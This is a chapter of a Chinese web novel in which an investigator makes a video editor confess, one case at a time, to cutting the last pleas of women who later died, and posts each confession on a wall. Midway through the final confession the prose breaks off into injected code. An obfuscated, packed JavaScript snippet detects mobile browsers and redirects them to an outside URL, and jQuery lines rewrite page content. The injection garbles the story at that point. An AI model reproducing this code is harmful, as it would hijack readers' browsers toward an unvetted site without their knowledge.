程漾没催，看了眼墙上的三张责任书，扭头跟林茜说：“让他喘十分钟。”


    “休息完了继续。”


    “他没讲完。”


    “她们没讲回来，他不许走。”


    林茜点头。


    屋里安静得只能听见墙角打印机咔咔的声音。


    十分钟到，程漾抬了抬下巴：“赵一山，该讲了。”


    赵一山像听见枪响似的，整个人一激灵，站起来又坐下了，手抖得不敢拿笔。


    “讲第三段。”程漾没抬头。


    “剪的谁。”


    赵一山嗓子沙哑：“是……是刘静。”


    “她那天……说了句‘疼’。”


    “我把‘疼’剪了。”


    程漾问：“她说什么？”


    赵一山声音小得像蚊子：“她说——‘你们别拍了，我疼’。”


    “我把这一句剪了。”


    “组长说……这种话留着不合适。”


    “会显得项目过于粗暴。”


    “所以……就剪了。”


    “是我剪的。”


    程漾的笔停在手里，没动：“她那时候疼吗？”


    赵一山手攥得死紧：“疼。”


    “她讲了吗？”


    “讲了。”


    “她自己说了‘我疼’。”


    “是。”


    “她说她疼，是你剪的。”


    “是。”


    “她现在呢？”


    赵一山脸色死白：“她死了。”


    “她跳下去的。”


    “你知道她疼的时候她是活着的，对吧？”


    “我知道。”


    “她说了‘我疼’。”


    “是。”


    “那你讲回来。”


    “她讲不了。”


    “你活着。”


    “你来讲。”


    赵一山手抖得捏不起笔，最后靠着林茜塞到他手里，才拿起来写。


    写了半个小时。


    纸上只有几行：


    【讲述人刘静。】


    【她那天说‘我疼’。】


    【我把‘疼’剪了。】


    【剪掉责任人：赵一山。】


    程漾站起身，把那张纸拿过去，贴在墙上。


    第四张。


    她贴得很慢，手也没停。


    墙上那一排名字下面，就是那句：


    【她说疼，是你剪的。】


    【你讲回来了，贴上了。】


    【她疼的时候是活着的。】


    【她死的时候，你活着。】


    【你讲了。】


    她转身回来，坐在桌边，看着赵一山：“还剩几段？”


    赵一山低着头：“还有两段。”


    程漾点头：“那你坐着。”


    “讲完再走。”


    “她们没讲回来。”


    “你走不了。”


    “讲一句，贴一句。”


    “贴上墙。”


    “贴完——就算账。”


    赵一山坐着，整个人缩着，像刚从水里捞出来，浑身透着冷气。


    桌上的打印纸一张张堆着，林茜盯着纸，没说话，手里抓着新的打印件，随时准备换下一张。


    程漾坐那，没看谁，只一句：“第四段，讲。”


    赵一山嗓子发哑：“是……是沈佳。”


    “她那天……说她不想去楼上。”


    “我把那句话剪了。”


    程漾抬了下头，语气冷得像刀割：“她怎么说的？”


    “她说——‘别带我上楼，我不想去’。”


    “我把‘我不想去’这句删了。”


    “组里说，这种拒绝的情绪不能留，怕影响体验组评审。”


    “所以我剪了。”


    “是我剪的。”


    程漾手指敲着桌面：“她说了‘我不想去’。”


    “你剪了。”


    “是。”


    “她那时候呢？”


    “活着。”


    “她后来呢？”


    赵一山声音低得像在求饶：“死了。”


    “她死的时候，是不是‘项目结束’？”


    “是。”


    “那她讲了‘我不想去’，是你剪的。”


    “是。”


    “她讲不回来了。”


    “你讲。”


    赵一山头都没敢抬，像认命了一样：“那天……她真的说了。”


    “她哭着说的。”


    “她说——‘别带我上楼，我不想去’。”


    “我把那句剪了。”


    “是我剪的。”


    “是我。”


    程漾没看他：“写。”


    “你把她的求救剪了，你现在讲回来。”


    “讲回来——写下来。”


    “写完——贴墙。”


    赵一山接过打印纸，手指在发白。


    林茜把笔塞到他手里。


    他写了。


    写得慢。


    写得像在挖自己。


    【讲述人沈佳。】


    【她说‘别带我上楼，我不想去’。】


    【我删了。】


    【责任人：赵一山。】


    程漾拿着纸，走去墙前。


    第五张。


    贴上。


    她站在墙前看着那张纸：“她不想上楼，是你剪的。”


    “她上楼前求过救，是你剪的。”


    “你讲了。”


    “她讲不回来了。”


    “你贴上了。”


    “她的命——贴上了。”


    “这是第五张。”


    “谁剪，谁讲。”


    “谁删，谁贴。”


    “她们没讲回来之前——谁都别走。”


    她回头，看着赵一山：“还有最后一段吧？”


    赵一山点了下头，像是在认罚：“还有一段。”


    程漾手指扣着桌面：“讲。”


    “讲完。”


    “你才算。”


    “她们讲不回来了。”


    “你必须讲完。”


    赵一山咽了口唾沫，嗓子哑得说不出声音了，抬头看了程漾一眼，还是低下头去了。


    程漾坐在桌后面，等了两秒，看他没动，手指在桌面上扣了两下：“讲。”


    赵一山手指在抖，但他知道，这段不讲完，今天别想走。


    他嗓子像砂纸磨一样：“是……是周晚。”


    “她那天……她说，‘我不行了’。”


    “我把这句话剪了。”


    “是我剪的。”


    他低着头，声音像刀子割着出来：“那天，她是在项目记录室里拍素材。我记得她坐在地上，靠着柜子，说了那句‘我不行了’。”


    “我觉得那句话情绪不对，组长说影响‘正向呈现’，所以我就……我就剪了。”


    “是我剪的。”


    他说完这句，嗓子像是断了。


    程漾没让他停：“她说‘我不行了’，是你剪的，对吧？”


    赵一山点了下头：“是。”


    程漾问：“那她后来呢？”


    赵一山声音像是飘出来的：“走之前晕过一次……后来听说，死了。”


    程漾坐着不动：“她讲了，是你剪的。”


    赵一山低着头：“是我。”


    “你删的，是人活着时候最后一句话。”程漾手指还在桌面扣着，声音一顿一顿的，“她们讲不回来了。你活着。那就你讲。”


    “你把她那句讲回来。”


    “我不听理由，我听句子。”


    赵一山嗓子像废了，但还是卡着说出来：“那天……她说——


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010510|175465||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ‘我不行了’。”


    “是我剪的。”


    “我删了她的最后一句话。”


    “责任是我。”


    “不是她讲不出来，是我不让别人听见。”


    “是我剪的。”


    程漾把桌上那张打印纸推过去：“写。把你删的那句，写完整。责任人，写你自己。”


    赵一山拿着笔，手抖到不行。林茜看不下去，直接把纸按住：“别晃了，写。”


    赵一山咬着牙，写了。


    【讲述人：周晚】


    【她说‘我不行了’。】


    【我把这句话剪了。】


    【剪掉责任人：赵一山。】


    他写完，笔掉在地上，都没捡。


    程漾站起来，拿过那张纸，走去墙前，把它贴在了第四排最后一张。


    墙上那一排纸，密密麻麻，最下面新贴上的，就是这一张。


    她说：“这是第六张。”


    “不是她讲不清楚。”


    “是你剪的。”


    “讲一句，贴一句。”


    “她们讲不回来了。”


    “你们就一个个讲回来。”


    “讲完——贴墙。”


    她站了两秒，转身回到桌后：“还有没有？”


    赵一山嗓子沙哑：“没了。”


    “这是我删的最后一段。”


    “我讲完了。”


    “不是我良心发现。”


    “是我知道，她们讲不回来了。”


    “那我活着，我就得讲。”


    程漾没看他，只是点头：“讲完了，那你现在是剪辑责任人。”


    “墙上挂着你的名字。”


    “谁问，就指着墙回答——不是她们不清楚，是你剪的。”


    赵一山坐在那没再说话。


    林茜站在后面，说了句：“责任墙满了。”


    程漾点头：“开第五排。”


    “今天讲了六个命案。”


    “剪六个，讲六个。”


    “谁剪的，谁讲。”


    “她们讲不回来了，墙上就贴名字。”


    “不是为了谁哭，是为了结账。”


    “记账用的。”


    赵一山坐那，一直没动。整个人像抽干了一样。


    过了大概半小时，他终于抬头看了看墙，低着嗓子说：“墙上的字，都是真的。”


    程漾头都没抬：“废话。你们剪的，她们说过。”


    “你们剪了，我们贴回来。”


    “讲一句，贴一句。”


    “贴完——结账。”


    她说完，站起来，把桌上的剪辑记录一张张收进文件袋。


    “剪辑回溯阶段，到此结束。”


    “你们该讲的，都讲完了。”


    “讲了多少，就贴多少。”


    “贴了多少，就是证据。”


    “不是为了你们求饶。”


    “是为了她们结账。”


    “你们讲的，是命账。”


    她收好文件，转身出门，走得干脆利落。


    身后会议室里，安静得像死人堆。


    赵一山还坐在椅子上，一动不动。


    墙上，那一张张责任书，贴得整整齐齐。


    每一张上面，都是剪辑师的名字。


    每一张上面，都有一句人死之前讲过的话。


    “我疼。”


    “我不想去。”


    “别带我上楼。”


    “我不行了。”


    都是讲过的。


    都是剪掉的。


    现在，都讲回来了。


    都贴墙了。


    讲完了。


    贴上了。


    程漾出了门，手机还在震。


    林茜跟上来：“组那边问，接下来是讲述人墓碑墙，还是空白卷宗墙？”